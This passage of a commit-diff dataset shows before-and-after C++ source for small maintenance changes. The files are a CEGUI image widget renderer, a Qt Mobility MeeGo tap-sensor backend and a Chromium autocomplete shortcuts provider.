d_image(0)\n    {\n        CEGUI_DEFINE_WINDOW_RENDERER_PROPERTY(FalagardStaticImage, Image*,\n            \"Image\", \"Property to get\/set the image for the FalagardStaticImage widget.\"\n            \"  Value is a pointer to an Image.\",\n            &FalagardStaticImage::setImage, &FalagardStaticImage::getImage,\n            0);\n    }\n\n    void FalagardStaticImage::render()\n    {\n        \/\/ base class rendering\n        FalagardStatic::render();\n\n        \/\/ render image if there is one\n        if (d_image!=0)\n        {\n            \/\/ get WidgetLookFeel for the assigned look.\n            const WidgetLookFeel& wlf = getLookNFeel();\n            String imagery_name = (!d_frameEnabled && wlf.isStateImageryPresent(\"NoFrameImage\")) ? \"NoFrameImage\" : \"WithFrameImage\";\n            wlf.getStateImagery(imagery_name).render(*d_window);\n        }\n    }\n\n    void FalagardStaticImage::setImage(const Image* img)\n    {\n        d_image = img;\n        d_window->invalidate();\n    }\n\n} \/\/ End of  CEGUI namespace section\n<commit_msg>MOD: Correcting StaticImage Image prop description<commit_after>\/***********************************************************************\n    created:    Tue Jul 5 2005\n    author:     Paul D Turner <paul@cegui.org.uk>\n*************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2006 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/WindowRendererSets\/Core\/StaticImage.h\"\n#include \"CEGUI\/falagard\/WidgetLookManager.h\"\n#include \"CEGUI\/falagard\/WidgetLookFeel.h\"\n#include \"CEGUI\/TplWindowRendererProperty.h\"\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n    const String FalagardStaticImage::TypeName(\"Core\/StaticImage\");\n\n    FalagardStaticImage::FalagardStaticImage(const String& type) :\n        FalagardStatic(type),\n        d_image(0)\n    {\n        CEGUI_DEFINE_WINDOW_RENDERER_PROPERTY(FalagardStaticImage, Image*,\n            \"Image\", \"Property to get\/set the image for the FalagardStaticImage widget.\"\n            \" Value is \\\"ImagesetName\/ImageName\\\".\",\n            &FalagardStaticImage::setImage, &FalagardStaticImage::getImage,\n            0);\n    }\n\n    void FalagardStaticImage::render()\n    {\n        \/\/ base class rendering\n        FalagardStatic::render();\n\n        \/\/ render image if there is one\n        if (d_image!=0)\n        {\n            \/\/ get WidgetLookFeel for the assigned look.\n            const WidgetLookFeel& wlf = getLookNFeel();\n            String imagery_name = (!d_frameEnabled && wlf.isStateImageryPresent(\"NoFrameImage\")) ? \"NoFrameImage\" : \"WithFrameImage\";\n            wlf.getStateImagery(imagery_name).render(*d_window);\n        }\n    }\n\n    void FalagardStaticImage::setImage(const Image* img)\n    {\n        d_image = img;\n        d_window->invalidate();\n    }\n\n} \/\/ End of  CEGUI namespace section\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"meegotapsensor.h\"\n\nchar const * const meegotapsensor::id(\"meego.tapsensor\");\nbool meegotapsensor::m_initDone = false;\n\nmeegotapsensor::meegotapsensor(QSensor *sensor)\n    : meegosensorbase(sensor), m_isOnceStarted(false)\n{\n    initSensor<TapSensorChannelInterface>(m_initDone);\n    setReading<QTapReading>(&m_reading);\n}\n\n\nvoid meegotapsensor::start(){\n    QVariant v = sensor()->property(\"returnDoubleTapEvents\");\n    bool isDoubleTapSensor = m_isDoubleTapSensor;\n    if (!(v.isValid())){\n        sensor()->setProperty(\"returnDoubleTapEvents\", true); \/\/by default doubles\n        m_isDoubleTapSensor = true;\n    }\n    else m_isDoubleTapSensor = v.toBool();\n\n    if (!m_isOnceStarted || (m_isOnceStarted && isDoubleTapSensor != m_isDoubleTapSensor))\n        ((TapSensorChannelInterface*)m_sensorInterface)->\n                setTapType(m_isDoubleTapSensor?TapSensorChannelInterface::Double:TapSensorChannelInterface::Single);\n\n    meegosensorbase::start();\n    \/\/ Set tap type (single\/double)\n    m_reading.setDoubleTap(m_isDoubleTapSensor);\n    m_isOnceStarted = true;\n}\n\n\nvoid meegotapsensor::slotDataAvailable(const Tap& data)\n{\n    \/\/ Set tap direction\n    QTapReading::TapDirection o;\n    switch (data.direction()) {\n    case TapData::X:         o = QTapReading::X_Both;    break;\n    case TapData::Y:         o = QTapReading::Y_Both;    break;\n    case TapData::Z:         o = QTapReading::Z_Both;    break;\n    case TapData::LeftRight: o = QTapReading::X_Pos;     break;\n    case TapData::RightLeft: o = QTapReading::X_Neg;     break;\n    case TapData::TopBottom: o = QTapReading::Z_Neg;     break;\n    case TapData::BottomTop: o = QTapReading::Z_Pos;     break;\n    case TapData::FaceBack:  o = QTapReading::Y_Pos;     break;\n    case TapData::BackFace:  o = QTapReading::Y_Neg;     break;\n    default:                 o = QTapReading::Undefined;\n    }\n    m_reading.setTapDirection(o);\n    m_reading.setTimestamp(data.tapData().timestamp_);\n    newReadingAvailable();\n}\n\n\nbool meegotapsensor::doConnect(){\n    if (!(QObject::connect(m_sensorInterface, SIGNAL(dataAvailable(const Tap&)),\n                           this, SLOT(slotDataAvailable(const Tap&))))){\n        return false;\n    }\n    return true;\n}\n\n\nconst QString meegotapsensor::sensorName(){\n    return \"tapsensor\";\n}\n<commit_msg>range added<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"meegotapsensor.h\"\n\nchar const * const meegotapsensor::id(\"meego.tapsensor\");\nbool meegotapsensor::m_initDone = false;\n\nmeegotapsensor::meegotapsensor(QSensor *sensor)\n    : meegosensorbase(sensor), m_isOnceStarted(false)\n{\n    initSensor<TapSensorChannelInterface>(m_initDone);\n    setReading<QTapReading>(&m_reading);\n    addOutputRange(QTapReading::Undefined, QTapReading::Z_Both, 1);\n}\n\n\nvoid meegotapsensor::start(){\n    QVariant v = sensor()->property(\"returnDoubleTapEvents\");\n    bool isDoubleTapSensor = m_isDoubleTapSensor;\n    if (!(v.isValid())){\n        sensor()->setProperty(\"returnDoubleTapEvents\", true); \/\/by default doubles\n        m_isDoubleTapSensor = true;\n    }\n    else m_isDoubleTapSensor = v.toBool();\n\n    if (!m_isOnceStarted || (m_isOnceStarted && isDoubleTapSensor != m_isDoubleTapSensor))\n        ((TapSensorChannelInterface*)m_sensorInterface)->\n                setTapType(m_isDoubleTapSensor?TapSensorChannelInterface::Double:TapSensorChannelInterface::Single);\n\n    meegosensorbase::start();\n    \/\/ Set tap type (single\/double)\n    m_reading.setDoubleTap(m_isDoubleTapSensor);\n    m_isOnceStarted = true;\n}\n\n\nvoid meegotapsensor::slotDataAvailable(const Tap& data)\n{\n    \/\/ Set tap direction\n    QTapReading::TapDirection o;\n    switch (data.direction()) {\n    case TapData::X:         o = QTapReading::X_Both;    break;\n    case TapData::Y:         o = QTapReading::Y_Both;    break;\n    case TapData::Z:         o = QTapReading::Z_Both;    break;\n    case TapData::LeftRight: o = QTapReading::X_Pos;     break;\n    case TapData::RightLeft: o = QTapReading::X_Neg;     break;\n    case TapData::TopBottom: o = QTapReading::Z_Neg;     break;\n    case TapData::BottomTop: o = QTapReading::Z_Pos;     break;\n    case TapData::FaceBack:  o = QTapReading::Y_Pos;     break;\n    case TapData::BackFace:  o = QTapReading::Y_Neg;     break;\n    default:                 o = QTapReading::Undefined;\n    }\n    m_reading.setTapDirection(o);\n    m_reading.setTimestamp(data.tapData().timestamp_);\n    newReadingAvailable();\n}\n\n\nbool meegotapsensor::doConnect(){\n    if (!(QObject::connect(m_sensorInterface, SIGNAL(dataAvailable(const Tap&)),\n                           this, SLOT(slotDataAvailable(const Tap&))))){\n        return false;\n    }\n    return true;\n}\n\n\nconst QString meegotapsensor::sensorName(){\n    return \"tapsensor\";\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/autocomplete\/shortcuts_provider.h\"\n\n#include <algorithm>\n#include <cmath>\n#include <map>\n#include <vector>\n\n#include \"base\/i18n\/break_iterator.h\"\n#include \"base\/i18n\/case_conversion.h\"\n#include \"base\/logging.h\"\n#include \"base\/metrics\/histogram.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/string_util.h\"\n#include \"base\/time.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/history\/history.h\"\n#include \"chrome\/browser\/history\/history_notifications.h\"\n#include \"chrome\/browser\/net\/url_fixer_upper.h\"\n#include \"chrome\/browser\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/common\/guid.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"googleurl\/src\/url_parse.h\"\n#include \"googleurl\/src\/url_util.h\"\n#include \"net\/base\/escape.h\"\n#include \"net\/base\/net_util.h\"\n\nusing shortcuts_provider::Shortcut;\nusing shortcuts_provider::ShortcutMap;\n\nnamespace {\n\nclass RemoveMatchPredicate {\n public:\n  explicit RemoveMatchPredicate(const std::set<GURL>& urls)\n      : urls_(urls) {\n  }\n  bool operator()(AutocompleteMatch match) {\n    return urls_.find(match.destination_url) != urls_.end();\n  }\n private:\n  \/\/ Lifetime of the object is less than the lifetime of passed |urls|, so\n  \/\/ it is safe to store reference.\n  const std::set<GURL>& urls_;\n};\n\n}  \/\/ namespace\n\nShortcutsProvider::ShortcutsProvider(ACProviderListener* listener,\n                                     Profile* profile)\n    : AutocompleteProvider(listener, profile, \"ShortcutsProvider\"),\n      languages_(profile_->GetPrefs()->GetString(prefs::kAcceptLanguages)),\n      initialized_(false),\n      shortcuts_backend_(profile->GetShortcutsBackend()) {\n  if (shortcuts_backend_.get()) {\n    shortcuts_backend_->AddObserver(this);\n    if (shortcuts_backend_->initialized())\n      initialized_ = true;\n  }\n}\n\nShortcutsProvider::~ShortcutsProvider() {\n  if (shortcuts_backend_.get())\n    shortcuts_backend_->RemoveObserver(this);\n}\n\nvoid ShortcutsProvider::Start(const AutocompleteInput& input,\n                              bool minimal_changes) {\n  matches_.clear();\n\n  if (input.type() == AutocompleteInput::INVALID)\n    return;\n\n  if (input.text().empty())\n    return;\n\n  if (!initialized_)\n    return;\n\n  base::TimeTicks start_time = base::TimeTicks::Now();\n  GetMatches(input);\n  if (input.text().length() < 6) {\n    base::TimeTicks end_time = base::TimeTicks::Now();\n    std::string name = \"ShortcutsProvider.QueryIndexTime.\" +\n        base::IntToString(input.text().size());\n    base::Histogram* counter = base::Histogram::FactoryGet(\n        name, 1, 1000, 50, base::Histogram::kUmaTargetedHistogramFlag);\n    counter->Add(static_cast<int>((end_time - start_time).InMilliseconds()));\n  }\n  UpdateStarredStateOfMatches();\n}\n\nvoid ShortcutsProvider::DeleteMatch(const AutocompleteMatch& match) {\n  \/\/ When a user deletes a match, he probably means for the URL to disappear out\n  \/\/ of history entirely. So nuke all shortcuts that map to this URL.\n  std::set<GURL> url;\n  url.insert(match.destination_url);\n  \/\/ Immediately delete matches and shortcuts with the URL, so we can update the\n  \/\/ controller synchronously.\n  DeleteShortcutsWithURLs(url);\n  DeleteMatchesWithURLs(url);\n\n  \/\/ Delete the match from the history DB. This will eventually result in a\n  \/\/ second call to DeleteShortcutsWithURLs(), which is harmless.\n  HistoryService* const history_service =\n      profile_->GetHistoryService(Profile::EXPLICIT_ACCESS);\n\n  DCHECK(history_service && match.destination_url.is_valid());\n  history_service->DeleteURL(match.destination_url);\n}\n\nvoid ShortcutsProvider::OnShortcutsLoaded() {\n  initialized_ = true;\n}\n\nint ShortcutsProvider::GetMaxScore() {\n  \/\/ For ease of unit testing, make the clamp value divisible by 4 (since some\n  \/\/ tests check for half or quarter of the max score).\n  const int kMaxScore = (AutocompleteResult::kLowestDefaultScore - 1) & ~3;\n  return kMaxScore;\n}\n\nvoid ShortcutsProvider::DeleteMatchesWithURLs(const std::set<GURL>& urls) {\n  std::remove_if(matches_.begin(), matches_.end(), RemoveMatchPredicate(urls));\n  listener_->OnProviderUpdate(true);\n}\n\nvoid ShortcutsProvider::DeleteShortcutsWithURLs(const std::set<GURL>& urls) {\n  if (!shortcuts_backend_.get())\n    return;  \/\/ We are off the record.\n  for (std::set<GURL>::const_iterator url = urls.begin(); url != urls.end();\n       ++url)\n    shortcuts_backend_->DeleteShortcutsWithUrl(*url);\n}\n\nvoid ShortcutsProvider::GetMatches(const AutocompleteInput& input) {\n  \/\/ Get the URLs from the shortcuts database with keys that partially or\n  \/\/ completely match the search term.\n  string16 term_string(base::i18n::ToLower(input.text()));\n  DCHECK(!term_string.empty());\n\n  for (ShortcutMap::const_iterator it = FindFirstMatch(term_string);\n       it != shortcuts_backend_->shortcuts_map().end() &&\n            StartsWith(it->first, term_string, true); ++it)\n    matches_.push_back(ShortcutToACMatch(input, term_string, it));\n  std::partial_sort(matches_.begin(),\n      matches_.begin() +\n          std::min(AutocompleteProvider::kMaxMatches, matches_.size()),\n      matches_.end(), &AutocompleteMatch::MoreRelevant);\n  if (matches_.size() > AutocompleteProvider::kMaxMatches) {\n    matches_.erase(matches_.begin() + AutocompleteProvider::kMaxMatches,\n                   matches_.end());\n  }\n}\n\nAutocompleteMatch ShortcutsProvider::ShortcutToACMatch(\n    const AutocompleteInput& input,\n    const string16& term_string,\n    ShortcutMap::const_iterator it) {\n  AutocompleteMatch match(this, CalculateScore(term_string, it->second),\n                          true, AutocompleteMatch::HISTORY_TITLE);\n  match.destination_url = it->second.url;\n  DCHECK(match.destination_url.is_valid());\n  match.fill_into_edit = UTF8ToUTF16(it->second.url.spec());\n\n  match.contents = it->second.contents;\n  match.contents_class = ClassifyAllMatchesInString(term_string,\n                                                    match.contents,\n                                                    it->second.contents_class);\n\n  match.description = it->second.description;\n  match.description_class = ClassifyAllMatchesInString(\n      term_string, match.description, it->second.description_class);\n\n  return match;\n}\n\n\/\/ static\nACMatchClassifications ShortcutsProvider::ClassifyAllMatchesInString(\n    const string16& find_text,\n    const string16& text,\n    const ACMatchClassifications& original_matches) {\n  DCHECK(!find_text.empty());\n\n  base::i18n::BreakIterator term_iter(find_text,\n                                      base::i18n::BreakIterator::BREAK_WORD);\n  if (!term_iter.Init())\n    return original_matches;\n\n  std::vector<string16> terms;\n  while (term_iter.Advance()) {\n    if (term_iter.IsWord())\n      terms.push_back(term_iter.GetString());\n  }\n  \/\/ Sort the strings so that longer strings appear after their prefixes, if\n  \/\/ any.\n  std::sort(terms.begin(), terms.end());\n\n  \/\/ Find the earliest match of any word in |find_text| in the |text|. Add to\n  \/\/ |matches|. Move pointer after match. Repeat until all matches are found.\n  string16 text_lowercase(base::i18n::ToLower(text));\n  ACMatchClassifications matches;\n  \/\/ |matches| should start at the position 0, if the matched text start from\n  \/\/ the position 0, this will be poped from the vector further down.\n  matches.push_back(ACMatchClassification(0, ACMatchClassification::NONE));\n  for (size_t last_position = 0; last_position < text_lowercase.length();) {\n    size_t match_start = text_lowercase.length();\n    size_t match_end = last_position;\n\n    for (size_t i = 0; i < terms.size(); ++i) {\n      size_t match = text_lowercase.find(terms[i], last_position);\n      \/\/ Use <= in conjunction with the sort() call above so that longer strings\n      \/\/ are matched in preference to their prefixes.\n      if (match != string16::npos && match <= match_start) {\n        match_start = match;\n        match_end = match + terms[i].length();\n      }\n    }\n\n    if (match_start >= match_end)\n      break;\n\n    \/\/ Collapse adjacent ranges into one.\n    if (!matches.empty() && matches.back().offset == match_start)\n      matches.pop_back();\n\n    shortcuts_provider::AddLastMatchIfNeeded(&matches, match_start,\n                                             ACMatchClassification::MATCH);\n    if (match_end < text_lowercase.length()) {\n      shortcuts_provider::AddLastMatchIfNeeded(&matches, match_end,\n                                               ACMatchClassification::NONE);\n    }\n\n    last_position = match_end;\n  }\n\n  \/\/ Merge matches with highlight data.\n  if (matches.empty())\n    return original_matches;\n\n  ACMatchClassifications output;\n  for (ACMatchClassifications::const_iterator i = original_matches.begin(),\n       j = matches.begin(); i != original_matches.end();) {\n    shortcuts_provider::AddLastMatchIfNeeded(&output,\n                                             std::max(i->offset, j->offset),\n                                             i->style | j->style);\n    if ((j + 1) == matches.end() || (((i + 1) != original_matches.end()) &&\n        ((j + 1)->offset > (i + 1)->offset)))\n      ++i;\n    else\n      ++j;\n  }\n\n  return output;\n}\n\nShortcutMap::const_iterator ShortcutsProvider::FindFirstMatch(\n    const string16& keyword) {\n  ShortcutMap::const_iterator it =\n      shortcuts_backend_->shortcuts_map().lower_bound(keyword);\n  \/\/ Lower bound not necessarily matches the keyword, check for item pointed by\n  \/\/ the lower bound iterator to at least start with keyword.\n  return ((it == shortcuts_backend_->shortcuts_map().end()) ||\n    StartsWith(it->first, keyword, true)) ? it :\n    shortcuts_backend_->shortcuts_map().end();\n}\n\n\/\/ static\nint ShortcutsProvider::CalculateScore(const string16& terms,\n                                      const Shortcut& shortcut) {\n  DCHECK(!terms.empty());\n  DCHECK_LE(terms.length(), shortcut.text.length());\n\n  \/\/ The initial score is based on how much of the shortcut the user has typed.\n  double base_score = GetMaxScore() * static_cast<double>(terms.length()) \/\n      shortcut.text.length();\n\n  \/\/ Then we decay this by half each week.\n  const double kLn2 = 0.6931471805599453;\n  base::TimeDelta time_passed = base::Time::Now() - shortcut.last_access_time;\n  \/\/ Clamp to 0 in case time jumps backwards (e.g. due to DST).\n  double decay_exponent = std::max(0.0, kLn2 * static_cast<double>(\n      time_passed.InMicroseconds()) \/ base::Time::kMicrosecondsPerWeek);\n\n  \/\/ We modulate the decay factor based on how many times the shortcut has been\n  \/\/ used. Newly created shortcuts decay at full speed; otherwise, decaying by\n  \/\/ half takes |n| times as much time, where n increases by\n  \/\/ (1.0 \/ each 5 additional hits), up to a maximum of 5x as long.\n  const double kMaxDecaySpeedDivisor = 5.0;\n  const double kNumUsesPerDecaySpeedDivisorIncrement = 5.0;\n  double decay_divisor = std::min(kMaxDecaySpeedDivisor,\n      (shortcut.number_of_hits + kNumUsesPerDecaySpeedDivisorIncrement - 1) \/\n      kNumUsesPerDecaySpeedDivisorIncrement);\n\n  return static_cast<int>((base_score \/ exp(decay_exponent \/ decay_divisor)) +\n      0.5);\n}\n\nvoid ShortcutsProvider::set_shortcuts_backend(\n    history::ShortcutsBackend* shortcuts_backend) {\n  DCHECK(shortcuts_backend);\n  shortcuts_backend_ = shortcuts_backend;\n  shortcuts_backend_->AddObserver(this);\n  if (shortcuts_backend_->initialized())\n    initialized_ = true;\n}\n\n<commit_msg>[Coverity] Pass AutocompleteMatch to predicate as const-ref<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/autocomplete\/shortcuts_provider.h\"\n\n#include <algorithm>\n#include <cmath>\n#include <map>\n#include <vector>\n\n#include \"base\/i18n\/break_iterator.h\"\n#include \"base\/i18n\/case_conversion.h\"\n#include \"base\/logging.h\"\n#include \"base\/metrics\/histogram.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/string_util.h\"\n#include \"base\/time.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/history\/history.h\"\n#include \"chrome\/browser\/history\/history_notifications.h\"\n#include \"chrome\/browser\/net\/url_fixer_upper.h\"\n#include \"chrome\/browser\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/common\/guid.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"googleurl\/src\/url_parse.h\"\n#include \"googleurl\/src\/url_util.h\"\n#include \"net\/base\/escape.h\"\n#include \"net\/base\/net_util.h\"\n\nusing shortcuts_provider::Shortcut;\nusing shortcuts_provider::ShortcutMap;\n\nnamespace {\n\nclass RemoveMatchPredicate {\n public:\n  explicit RemoveMatchPredicate(const std::set<GURL>& urls)\n      : urls_(urls) {\n  }\n  bool operator()(const AutocompleteMatch& match) {\n    return urls_.find(match.destination_url) != urls_.end();\n  }\n private:\n  \/\/ Lifetime of the object is less than the lifetime of passed |urls|, so\n  \/\/ it is safe to store reference.\n  const std::set<GURL>& urls_;\n};\n\n}  \/\/ namespace\n\nShortcutsProvider::ShortcutsProvider(ACProviderListener* listener,\n                                     Profile* profile)\n    : AutocompleteProvider(listener, profile, \"ShortcutsProvider\"),\n      languages_(profile_->GetPrefs()->GetString(prefs::kAcceptLanguages)),\n      initialized_(false),\n      shortcuts_backend_(profile->GetShortcutsBackend()) {\n  if (shortcuts_backend_.get()) {\n    shortcuts_backend_->AddObserver(this);\n    if (shortcuts_backend_->initialized())\n      initialized_ = true;\n  }\n}\n\nShortcutsProvider::~ShortcutsProvider() {\n  if (shortcuts_backend_.get())\n    shortcuts_backend_->RemoveObserver(this);\n}\n\nvoid ShortcutsProvider::Start(const AutocompleteInput& input,\n                              bool minimal_changes) {\n  matches_.clear();\n\n  if (input.type() == AutocompleteInput::INVALID)\n    return;\n\n  if (input.text().empty())\n    return;\n\n  if (!initialized_)\n    return;\n\n  base::TimeTicks start_time = base::TimeTicks::Now();\n  GetMatches(input);\n  if (input.text().length() < 6) {\n    base::TimeTicks end_time = base::TimeTicks::Now();\n    std::string name = \"ShortcutsProvider.QueryIndexTime.\" +\n        base::IntToString(input.text().size());\n    base::Histogram* counter = base::Histogram::FactoryGet(\n        name, 1, 1000, 50, base::Histogram::kUmaTargetedHistogramFlag);\n    counter->Add(static_cast<int>((end_time - start_time).InMilliseconds()));\n  }\n  UpdateStarredStateOfMatches();\n}\n\nvoid ShortcutsProvider::DeleteMatch(const AutocompleteMatch& match) {\n  \/\/ When a user deletes a match, he probably means for the URL to disappear out\n  \/\/ of history entirely. So nuke all shortcuts that map to this URL.\n  std::set<GURL> url;\n  url.insert(match.destination_url);\n  \/\/ Immediately delete matches and shortcuts with the URL, so we can update the\n  \/\/ controller synchronously.\n  DeleteShortcutsWithURLs(url);\n  DeleteMatchesWithURLs(url);\n\n  \/\/ Delete the match from the history DB. This will eventually result in a\n  \/\/ second call to DeleteShortcutsWithURLs(), which is harmless.\n  HistoryService* const history_service =\n      profile_->GetHistoryService(Profile::EXPLICIT_ACCESS);\n\n  DCHECK(history_service && match.destination_url.is_valid());\n  history_service->DeleteURL(match.destination_url);\n}\n\nvoid ShortcutsProvider::OnShortcutsLoaded() {\n  initialized_ = true;\n}\n\nint ShortcutsProvider::GetMaxScore() {\n  \/\/ For ease of unit testing, make the clamp value divisible by 4 (since some\n  \/\/ tests check for half or quarter of the max score).\n  const int kMaxScore = (AutocompleteResult::kLowestDefaultScore - 1) & ~3;\n  return kMaxScore;\n}\n\nvoid ShortcutsProvider::DeleteMatchesWithURLs(const std::set<GURL>& urls) {\n  std::remove_if(matches_.begin(), matches_.end(), RemoveMatchPredicate(urls));\n  listener_->OnProviderUpdate(true);\n}\n\nvoid ShortcutsProvider::DeleteShortcutsWithURLs(const std::set<GURL>& urls) {\n  if (!shortcuts_backend_.get())\n    return;  \/\/ We are off the record.\n  for (std::set<GURL>::const_iterator url = urls.begin(); url != urls.end();\n       ++url)\n    shortcuts_backend_->DeleteShortcutsWithUrl(*url);\n}\n\nvoid ShortcutsProvider::GetMatches(const AutocompleteInput& input) {\n  \/\/ Get the URLs from the shortcuts database with keys that partially or\n  \/\/ completely match the search term.\n  string16 term_string(base::i18n::ToLower(input.text()));\n  DCHECK(!term_string.empty());\n\n  for (ShortcutMap::const_iterator it = FindFirstMatch(term_string);\n       it != shortcuts_backend_->shortcuts_map().end() &&\n            StartsWith(it->first, term_string, true); ++it)\n    matches_.push_back(ShortcutToACMatch(input, term_string, it));\n  std::partial_sort(matches_.begin(),\n      matches_.begin() +\n          std::min(AutocompleteProvider::kMaxMatches, matches_.size()),\n      matches_.end(), &AutocompleteMatch::MoreRelevant);\n  if (matches_.size() > AutocompleteProvider::kMaxMatches) {\n    matches_.erase(matches_.begin() + AutocompleteProvider::kMaxMatches,\n                   matches_.end());\n  }\n}\n\nAutocompleteMatch ShortcutsProvider::ShortcutToACMatch(\n    const AutocompleteInput& input,\n    const string16& term_string,\n    ShortcutMap::const_iterator it) {\n  AutocompleteMatch match(this, CalculateScore(term_string, it->second),\n                          true, AutocompleteMatch::HISTORY_TITLE);\n  match.destination_url = it->second.url;\n  DCHECK(match.destination_url.is_valid());\n  match.fill_into_edit = UTF8ToUTF16(it->second.url.spec());\n\n  match.contents = it->second.contents;\n  match.contents_class = ClassifyAllMatchesInString(term_string,\n                                                    match.contents,\n                                                    it->second.contents_class);\n\n  match.description = it->second.description;\n  match.description_class = ClassifyAllMatchesInString(\n      term_string, match.description, it->second.description_class);\n\n  return match;\n}\n\n\/\/ static\nACMatchClassifications ShortcutsProvider::ClassifyAllMatchesInString(\n    const string16& find_text,\n    const string16& text,\n    const ACMatchClassifications& original_matches) {\n  DCHECK(!find_text.empty());\n\n  base::i18n::BreakIterator term_iter(find_text,\n                                      base::i18n::BreakIterator::BREAK_WORD);\n  if (!term_iter.Init())\n    return original_matches;\n\n  std::vector<string16> terms;\n  while (term_iter.Advance()) {\n    if (term_iter.IsWord())\n      terms.push_back(term_iter.GetString());\n  }\n  \/\/ Sort the strings so that longer strings appear after their prefixes, if\n  \/\/ any.\n  std::sort(terms.begin(), terms.end());\n\n  \/\/ Find the earliest match of any word in |find_text| in the |text|. Add to\n  \/\/ |matches|. Move pointer after match. Repeat until all matches are found.\n  string16 text_lowercase(base::i18n::ToLower(text));\n  ACMatchClassifications matches;\n  \/\/ |matches| should start at the position 0, if the matched text start from\n  \/\/ the position 0, this will be poped from the vector further down.\n  matches.push_back(ACMatchClassification(0, ACMatchClassification::NONE));\n  for (size_t last_position = 0; last_position < text_lowercase.length();) {\n    size_t match_start = text_lowercase.length();\n    size_t match_end = last_position;\n\n    for (size_t i = 0; i < terms.size(); ++i) {\n      size_t match = text_lowercase.find(terms[i], last_position);\n      \/\/ Use <= in conjunction with the sort() call above so that longer strings\n      \/\/ are matched in preference to their prefixes.\n      if (match != string16::npos && match <= match_start) {\n        match_start = match;\n        match_end = match + terms[i].length();\n      }\n    }\n\n    if (match_start >= match_end)\n      break;\n\n    \/\/ Collapse adjacent ranges into one.\n    if (!matches.empty() && matches.back().offset == match_start)\n      matches.pop_back();\n\n    shortcuts_provider::AddLastMatchIfNeeded(&matches, match_start,\n                                             ACMatchClassification::MATCH);\n    if (match_end < text_lowercase.length()) {\n      shortcuts_provider::AddLastMatchIfNeeded(&matches, match_end,\n                                               ACMatchClassification::NONE);\n    }\n\n    last_position = match_end;\n  }\n\n  \/\/ Merge matches with highlight data.\n  if (matches.empty())\n    return 